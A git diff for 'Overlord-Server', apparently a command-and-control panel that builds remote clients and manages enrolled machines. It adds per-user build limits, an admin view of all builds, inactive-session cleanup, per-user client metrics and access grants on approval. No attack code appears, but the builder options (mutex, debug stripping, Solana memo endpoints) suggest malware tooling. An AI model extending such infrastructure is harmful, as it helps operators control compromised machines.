diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index b48b704..06dc20b 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -19,6 +19,7 @@ const solMemoCheckbox = document.getElementById("sol-memo");
const solSettings = document.getElementById("sol-settings");
let currentServerVersion = null;
+let currentUserRole = null;
async function loadServerVersion() {
try {
@@ -96,7 +97,6 @@ function saveFormSettings() {
solMemo: document.getElementById("sol-memo")?.checked ?? false,
solAddress: document.getElementById("sol-address")?.value ?? "",
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
- outputName: document.getElementById("output-name")?.value ?? "",
mutex: document.getElementById("mutex")?.value ?? "",
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
@@ -148,7 +148,6 @@ function restoreFormSettings() {
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
- if (s.outputName !== undefined) setVal("output-name", s.outputName);
if (s.mutex !== undefined) setVal("mutex", s.mutex);
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
if (s.stripDebug !== undefined) setCb('input[name="strip-debug"]', s.stripDebug);
@@ -829,6 +828,7 @@ async function init() {
}
const data = await res.json();
+ currentUserRole = data.role;
usernameDisplay.textContent = data.username;
const roleBadges = {
@@ -886,6 +886,20 @@ async function init() {
await loadServerVersion();
await loadSavedBuilds();
+
+ const toggleAllBuildsBtn = document.getElementById("toggle-all-builds-btn");
+ const toggleAllBuildsLabel = document.getElementById("toggle-all-builds-label");
+ if (toggleAllBuildsBtn && currentUserRole === "admin") {
+ toggleAllBuildsBtn.classList.remove("hidden");
+ toggleAllBuildsBtn.addEventListener("click", async () => {
+ showAllBuilds = !showAllBuilds;
+ if (toggleAllBuildsLabel) {
+ toggleAllBuildsLabel.textContent = showAllBuilds ? "My Builds" : "Show All";
+ }
+ buildFilesDiv.innerHTML = "";
+ await loadSavedBuilds();
+ });
+ }
} catch (err) {
console.error("Failed to fetch user info:", err);
window.location.href = "/";
@@ -1431,9 +1445,12 @@ function removeBuildFromStorage(buildId) {
}
}
+let showAllBuilds = false;
+
async function loadSavedBuilds() {
try {
- const res = await fetch("/api/build/list", {
+ const queryParam = showAllBuilds && currentUserRole === "admin" ? "?all=true" : "";
+ const res = await fetch(`/api/build/list${queryParam}`, {
credentials: "include",
});
diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index 016f73d..ea28330 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -830,6 +830,7 @@ async function wipeOfflineClients() {
const sessionsTableBody = document.getElementById("sessions-table-body");
const sessionsMessage = document.getElementById("sessions-message");
const refreshSessionsBtn = document.getElementById("refresh-sessions-btn");
+const removeInactiveSessionsBtn = document.getElementById("remove-inactive-sessions-btn");
function parseUserAgent(ua) {
if (!ua) return "Unknown";
@@ -905,7 +906,7 @@ async function loadSessions() {
| ${escapeHtml(s.ip || "—")} |
${escapeHtml(parseUserAgent(s.userAgent))} |
- ${formatDate(s.createdAt)} |
+ ${formatDate(s.createdAt * 1000)} |
${formatRelativeTime(s.lastActivity)} |
${statusLabel}${currentBadge} |
@@ -972,6 +973,32 @@ async function handleRevokeSessionClick(event) {
}
}
+async function handleRemoveInactiveSessions() {
+ if (!confirm("Remove all expired and revoked sessions?")) return;
+
+ if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = true;
+
+ try {
+ const res = await fetch("/api/sessions/inactive", {
+ method: "DELETE",
+ credentials: "include",
+ });
+
+ const data = await res.json().catch(() => ({}));
+ if (!res.ok) {
+ showSessionsMessage(data.error || "Failed to remove inactive sessions", "error");
+ return;
+ }
+
+ showSessionsMessage(`Removed ${data.removed || 0} inactive session(s)`);
+ await loadSessions();
+ } catch {
+ showSessionsMessage("Request failed", "error");
+ } finally {
+ if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = false;
+ }
+}
+
async function init() {
try {
await loadCurrentUser();
@@ -1020,6 +1047,7 @@ async function init() {
await loadSessions();
if (refreshSessionsBtn) refreshSessionsBtn.addEventListener("click", loadSessions);
+ if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.addEventListener("click", handleRemoveInactiveSessions);
if (sessionsTableBody) sessionsTableBody.addEventListener("click", handleRevokeSessionClick);
} catch (error) {
console.error("settings init failed", error);
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 1fc2d4e..d78f291 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -596,9 +596,19 @@
-
- Built Clients
-
+
+
+ Built Clients
+
+
+
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html
index 13162aa..409ce71 100644
--- a/Overlord-Server/public/settings.html
+++ b/Overlord-Server/public/settings.html
@@ -261,6 +261,13 @@
>
Refresh
+
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 534d58f..ba1b21e 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -1005,6 +1005,94 @@ export function getClientMetricsSummary(): ClientMetricsSummary {
};
}
+export function getClientMetricsSummaryForUser(userId: number): ClientMetricsSummary {
+ const filter = `WHERE built_by_user_id = ?`;
+
+ const counts = db
+ .query<{ total: number; online: number }>(
+ `SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients ${filter}`,
+ )
+ .get(userId) ?? { total: 0, online: 0 };
+
+ const osRows = db
+ .query<{ key: string; total: number; online: number }>(
+ `SELECT
+ COALESCE(NULLIF(os, ''), 'unknown') as key,
+ COUNT(*) as total,
+ SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
+ FROM clients ${filter}
+ GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`,
+ )
+ .all(userId);
+
+ const countryRows = db
+ .query<{ key: string; total: number; online: number }>(
+ `SELECT
+ COALESCE(NULLIF(country, ''), 'ZZ') as key,
+ COUNT(*) as total,
+ SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
+ FROM clients ${filter}
+ GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`,
+ )
+ .all(userId);
+
+ const byOS: Record = {};
+ const byOSOnline: Record = {};
+ for (const row of osRows) {
+ byOS[row.key] = Number(row.total) || 0;
+ byOSOnline[row.key] = Number(row.online) || 0;
+ }
+
+ const byCountry: Record = {};
+ const byCountryOnline: Record = {};
+ for (const row of countryRows) {
+ byCountry[row.key] = Number(row.total) || 0;
+ byCountryOnline[row.key] = Number(row.online) || 0;
+ }
+
+ return {
+ total: Number(counts.total) || 0,
+ online: Number(counts.online) || 0,
+ byOS,
+ byCountry,
+ byOSOnline,
+ byCountryOnline,
+ };
+}
+
+export function countBuildsForUser(userId: number): number {
+ const row = db
+ .query<{ c: number }>(`SELECT COUNT(*) as c FROM builds WHERE built_by_user_id = ?`)
+ .get(userId);
+ return row?.c ?? 0;
+}
+
+export function getOldestBuildForUser(userId: number): BuildRecord | null {
+ const row = db
+ .query(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time ASC LIMIT 1`)
+ .get(userId);
+ if (!row) return null;
+ return {
+ id: row.id,
+ status: row.status,
+ startTime: row.start_time,
+ expiresAt: row.expires_at,
+ files: JSON.parse(row.files),
+ buildTag: row.build_tag || undefined,
+ builtByUserId: row.built_by_user_id || undefined,
+ };
+}
+
+export function deleteInactiveSessions(userId: number): number {
+ const now = Math.floor(Date.now() / 1000);
+ const result = db.run(
+ `DELETE FROM sessions WHERE user_id = ? AND (revoked = 1 OR expires_at <= ?)`,
+ userId,
+ now,
+ );
+ return result.changes;
+}
+
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
export type AutoScript = {
diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts
index 624f8a1..d745abc 100644
--- a/Overlord-Server/src/server/routes/auth-routes.ts
+++ b/Overlord-Server/src/server/routes/auth-routes.ts
@@ -15,6 +15,7 @@ import {
hashTokenForSession,
persistRevokedTokenHash,
getSessionById,
+ deleteInactiveSessions,
} from "../../db";
import { logger } from "../../logger";
import {
@@ -187,6 +188,27 @@ export async function handleAuthRoutes(
});
}
+ if (req.method === "DELETE" && url.pathname === "/api/sessions/inactive") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return Response.json({ error: "Not authenticated" }, { status: 401 });
+ }
+
+ const removed = deleteInactiveSessions(user.userId);
+
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.LOGOUT,
+ details: `Removed ${removed} inactive session(s)`,
+ success: true,
+ });
+
+ return Response.json({ ok: true, removed });
+ }
+
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/sessions$/)) {
const user = await authenticateRequest(req);
if (!user) {
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 26288c7..aefd91b 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -4,7 +4,7 @@ import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as buildManager from "../../build/buildManager";
import * as clientManager from "../../clientManager";
-import { deleteBuild, getAllBuilds, getBuild } from "../../db";
+import { deleteBuild, getAllBuilds, getBuild, countBuildsForUser, getOldestBuildForUser } from "../../db";
import { encodeMessage } from "../../protocol";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
@@ -180,6 +180,30 @@ export async function handleBuildRoutes(
const buildId = uuidv4();
const ip = server.requestIP(req)?.address || "unknown";
+ // Enforce max 10 builds per user — auto-delete oldest when limit exceeded
+ const MAX_BUILDS_PER_USER = 10;
+ const currentCount = countBuildsForUser(user.userId);
+ if (currentCount >= MAX_BUILDS_PER_USER) {
+ const oldest = getOldestBuildForUser(user.userId);
+ if (oldest) {
+ if (oldest.files) {
+ const rootDir = resolveRuntimeRoot();
+ const outDir = path.join(rootDir, "dist-clients");
+ for (const file of oldest.files) {
+ try {
+ const fp = path.join(outDir, file.filename);
+ if (fs.existsSync(fp)) {
+ fs.unlinkSync(fp);
+ }
+ } catch {}
+ }
+ }
+ buildManager.deleteBuildStream(oldest.id);
+ deleteBuild(oldest.id);
+ logger.info(`[build:limit] Auto-deleted oldest build ${oldest.id.substring(0, 8)} for user ${user.username} (limit: ${MAX_BUILDS_PER_USER})`);
+ }
+ }
+
logAudit({
timestamp: Date.now(),
username: user.username,
@@ -324,7 +348,10 @@ export async function handleBuildRoutes(
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:build");
- const builds = getAllBuilds(user.userId, user.role);
+ const showAll = url.searchParams.get("all") === "true" && user.role === "admin";
+ const builds = showAll
+ ? getAllBuilds(undefined, "admin")
+ : getAllBuilds(user.userId, user.role === "admin" ? "operator" : user.role);
return Response.json({ builds });
}
diff --git a/Overlord-Server/src/server/routes/enrollment-routes.ts b/Overlord-Server/src/server/routes/enrollment-routes.ts
index 87c5998..f59dd4c 100644
--- a/Overlord-Server/src/server/routes/enrollment-routes.ts
+++ b/Overlord-Server/src/server/routes/enrollment-routes.ts
@@ -16,6 +16,18 @@ import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { setOnlineState } from "../../db";
import { requirePermission } from "../../rbac";
+import { getUserClientAccessScope, setUserClientAccessScope, setUserClientAccessRule } from "../../users";
+
+function grantClientAccess(userId: number, role: string, clientId: string): void {
+ if (role === "admin") return;
+ const currentScope = getUserClientAccessScope(userId);
+ if (currentScope === "none") {
+ setUserClientAccessScope(userId, "allowlist");
+ }
+ if (currentScope === "none" || currentScope === "allowlist") {
+ setUserClientAccessRule(userId, clientId, "allow");
+ }
+}
function getClientScopeFilters(userId: number, role: string): {
allowedClientIds?: string[];
@@ -118,6 +130,8 @@ export async function handleEnrollmentRoutes(
setClientEnrollmentStatus(clientId, "approved", user.username);
+ grantClientAccess(user.userId, user.role, clientId);
+
_postApproveHook?.(clientId);
logAudit({
@@ -261,6 +275,7 @@ export async function handleEnrollmentRoutes(
if (ok) {
updated++;
if (action === "approve") {
+ grantClientAccess(user.userId, user.role, id);
_postApproveHook?.(id);
}
}
diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts
index 63ce47a..8a2ac3a 100644
--- a/Overlord-Server/src/server/routes/misc-routes.ts
+++ b/Overlord-Server/src/server/routes/misc-routes.ts
@@ -1,7 +1,7 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, getExportableConfig, importFullConfig } from "../../config";
-import { getClientMetricsSummary } from "../../db";
+import { getClientMetricsSummary, getClientMetricsSummaryForUser } from "../../db";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess } from "../../users";
@@ -40,7 +40,9 @@ export async function handleMiscRoutes(
const snapshot = metrics.getSnapshot();
- const clientSummary = getClientMetricsSummary();
+ const clientSummary = user.role === "admin"
+ ? getClientMetricsSummary()
+ : getClientMetricsSummaryForUser(user.userId);
snapshot.clients.total = clientSummary.total;
snapshot.clients.online = clientSummary.online;
snapshot.clients.offline = clientSummary.total - clientSummary.online;
|